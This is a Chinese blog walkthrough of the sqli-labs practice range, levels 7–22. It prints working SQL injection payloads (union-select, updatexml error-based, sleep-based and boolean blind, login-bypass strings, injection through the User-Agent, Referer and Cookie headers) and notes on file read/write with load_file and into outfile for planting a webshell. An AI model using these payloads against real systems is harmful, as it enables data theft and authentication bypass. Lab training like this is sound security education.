Sqli-libs(Less7~Less23)通关详解,通篇大白话,看完不懂直接v你50吃KFC

大白话讲解,通篇写的是我做题的一个思路,建议先了解一下sql注入的基本原理再来看,主要针对人群,sql注入初学者,来刷sqli-libs靶场但是感觉吃力的。看完要还是不会,来来来,评论区留言,我v你50吃个KFC

目录

 

Less7

Less9

Less10

Less11

Less12

Less13

Less14

Less15

Less16

Less17

Less18

Less19

Less20

Less21

Less22

总结:


 

Less7

  • 关键词:get方法,转储到输出文件,字符型

  • 好家伙,终于碰见知识盲区了,我们先补充一波知识点再开始上代码(后来想起来之前学过这一块,sql注入文件读写,额,真是健忘啊我)

?id=1'))--+
#新奇操作,这个闭合方式竟然是')),第一次知道这种方式
?id=-1')) or updatexml(1,concat(0x7e,database(),0x7e),1)--+ 
#联合查询不行,报错注入不行
?id=1')) and length(database())>100--+ 
#布尔盲注貌似可以,但是我真的不想用布尔盲注,太慢了
#按照提示,文件读写吧

文件读取知识点补充:

文件读取基本条件:

  1. 当前用户权限对该文件可读。

  2. 文件在该服务器上。

  3. 路径完整。

  4. 文件大小小于max_sllowed_packet。

  5. 当前数据库用户有FILE权限,File_priv为yes

  6. secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作

select File_priv from mysql.user where user='root' and host='localhost'
#实战中我们就可以根据这里来判断是否我们有读写权限
show variables like 'max_allowed_packet'
#查看可读写文件大小,My.ini配置文件中本没有max_allowed_packet这一项,可以通过添加来修改可读写文件大小

My.ini配置文件中也没有secure_file_priv这一项,默认为不允许读写磁盘中任何未知的文件,也就是说默认值为NULL。这里的null不是空

关于/和\,读文件时只能用/,写文件时两者都可以

  • 读文件:select load_file("D:\123.txt")

  • 写文件:select "test" into outfile "D:\234.txt"

当我们知道了如何读写,接下来难点就是如何判断文件路径了

 

  • 这一关实在是不会了,因为不知道网站绝对路径,即使写了木马上去,蚁剑也连接不了,因为没有url,正常思路就是写文件,写一句话木马,然后蚁剑连接

 

 

Less9

  • 关键词:单引号,时间盲注

  • sleep()

?id=1'
#一开始试了好多遍,单引号,双引号,什么都没有反应,太离谱了,根本无法判断注入类型,也就是说没有报错,这样的话只有采取时间盲注了
?id=1' and sleep(3)--+
#我们通过这个来判断闭合形式,如果不正确的话是不会执行sleep(3)的,因为报错了,但是闭合形式猜对了就会三秒后响应
id=1' and if(length(database())=8,sleep(3),1)--+
#这句话的意思是去猜解数据库名称长度,如果为8,休眠三秒,否则执行1
#接下来的步骤就有点像布尔盲注了,太繁琐就不写了,需要去爆破

 

 

Less10

  • 关键词:时间盲注,双引号

  • 不写了,参考Less9

 

 

Less11

  • 关键词:POST方法,报错注入,单引号,字符型

  • 这一关终于看到点不一样的了,进去是个输入账号密码的框,有点意思

  • 直接上代码

#输入单引号报错,说明闭合形式是单引号
admin'or(true)#
#直接上万能账号密码,登录成功,存在sql注入
admin' order by 2#
#存在两列
-admin' union select 1,2#
#回显位,1,2
-admin' union select database(),2#
#数据库名security
-admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#接下来没啥说的了,老套路
  • 时间盲注也可以实现

1' or sleep(3)#
#这次要用or,因为 前面的账号并不是1,我们还原以下sql语句
select username,password from user where username='1' or sleep(3)#and ......
#我们发现 username='1'是false,那么后面如果是and的话,就没执行后面的就结束了,所以要用or
  • 报错注入

-1' or updatexml(1,concat(0x7e,database(),0x7e),1)#

 

 

Less12

  • 关键词:基于错误的双引号POST型字符型变形的注入

  • 和11题一样,只是把单引号变双引号加括号

 

 

Less13

  • 关键词:POST单引号变形双注入

  • 测试的时候出现语法报错,说明是可以报错注入的

  • 闭合方式是单引号加括号

  • 试了-1') or sleep(3)#,发现可以时间盲注

#试了很多,发现无回显,就用报错注入吧
-1') or updatexml(1,concat(0x7e,database(),0x7e),1)#
#数据库名security
#下面不解释了,翻往期
  • 时间盲注

-1') or if(length(database())=8,sleep(3),1)#

 

 

Less14

  • 关键词:和上个一样,奇怪

  • 最终发现就是把单引号变成双引号了

  • 具体没啥可说的,和Less13一样

 

 

Less15

  • 关键词:POST 布尔盲注或时间盲注 单引号

  • 测试后发现,没有回显,确实是单引号闭合

  • 时间盲注

-1' or sleep(3)#
  • 布尔盲注

-1' or length(database())=8#
#上面说的无回显是有点片面了,其实有办法判断是否登录成功,只是没有回显位而已

 

 

Less16

  • 和15题一样,把单引号改为双引号加括号

 

 

Less17

  • 关键词:报错注入,更新查询,POST

  • 终于遇到新的东西了,更新注入,哈哈哈,我们先回忆一下sql语句吧

    • update table_name set value1=new_value1,value2=new_value2 where value={value};

       

  • 更新当然是在新的数据那里注入咯

  • 更新,删除,增加等语句一般都没有什么回显,无回显就选择报错注入或者时间盲注,当然,大家都知道,我不喜欢时间盲注,爆破太慢了,但是我们还是先测测吧,看看存在不存在时间盲注

password:123' and sleep(3)#
#可以时间盲注
  • md,试了很多次,发现有个前提,就是必须是我的用户名要输入正确,不然注入没法进行,而且那个用户那里还没有注入点,服了,这玩个鬼

  • 不过还好,我知道账号有个admin,哈哈哈哈哈,那就接着玩呗

  • 报错注入

username:admin
password:123'
#报错,说是多了个单引号,那肯定存在报错注入咯
#接下来懒得去写
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
#必须用and,用or,后面就不执行了可能

 

 

Less18

  • 关键词:User Agent注入,请求头,post

  • 新东西哈哈哈,不过之前遇到过user agent写一句话木马的题

  • 整半天也不知道怎么玩的,百度了一下,原来要先登录才有得玩,无语.....

  • 登录半天也没有登录上去,我寻思着账号密码就是admin啊

  • 百思不得其解,最后恍然大悟,我17关的时候把密码改了,,,焯!

  • 回去又改回来了,然后终于登录上了

  • 登上之后显示了User Agent的信息

  • 关于什么是User Agent???这个是http协议的请求头里面的东西,具体内容就是关于你自己浏览器的信息,请求服务器的时候会自动带上,然后保存到服务器去了

  • 好家伙,既然它有回显,那我们就可以试试去注入它呗

  • 具体怎么注入,之前也说了,这玩意肯定是保存到服务器的,那么数据库自然会用insert语句去增加它

    • 知识补充

      insert into table_name (column1,column2) values (value1,value2)

       

  • 报错注入

#增加当然要报错注入咯
#我们构造语句,注入点在value1那块,闭合两边的单引号
xxxx' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
  • 配合burp抓包,修改信息,直接注入

  • 接下来具体就不多说咯,注入点找到了下来还不简单嘛

 

 

Less19

  • 关键词:和上一关一样,除了User Agent换成了Referer

  • 同理:Referer也是http请求头里面的信息,用来发送uri(请求资源路径)的,其实就是告诉服务器,这个请求是从哪个页面发出的,但是有时候也可以不带referer信息,比如有的请求带有敏感信息,get请求带参数等

  • 注入和上一关一样,burp抓包,改信息,报错注入

 

 

Less20

  • 关键词:这次变成cookie了

  • 老子找了半天也没有找到cookie,,,,无语,登录了啊

  • I LOVE YOU COOKIES

  • 这是什么意思??

  • 后来终于明白什么意思了这道题

  • 其实就是当你登录了之后,需要再访问一次这个页面,只不过这次你要带着cookie去访问

  • 怎么带着呢,burp抓包,写进去(无语了,这个题还得自己去操作)

  • 加这么一条信息:Cookie: uname=admin

  • 然后放包,信息就在页面上访问出来了

  • 接下来正常注入即可,cookie,想怎么操作怎么操作吧,这个是查询语句。。。。。

select useragent,cookie......   from xxx where uname={cookie.uname} 
  • 闭合方式,单引号

 

Less21

  • 和上一关一样,只不过是cookie做了个base64加密,把admin加密即可

  • 闭合方式单引号加括号

 

 

Less22

  • 和上一关一样,只不过是双引号闭合

 

 

 

总结:

sqlilibs第一阶段刷完咯,感觉没啥新意,都是老套的,特别还是大部分题都是重复的,改个闭合方式而已,不过中规中矩,这个平台真的不错,对新手特别友好,推荐!!!

建议刷sqlilibs的时候,多多思考,用会的知识去解决不会的问题,真的不会就去百度,不要浪费时间,因为可能是你的知识盲点

到后面可以一道题多种思路去解决,不要局限思维,活学活用嘛

 

 

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

henghengzhao_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值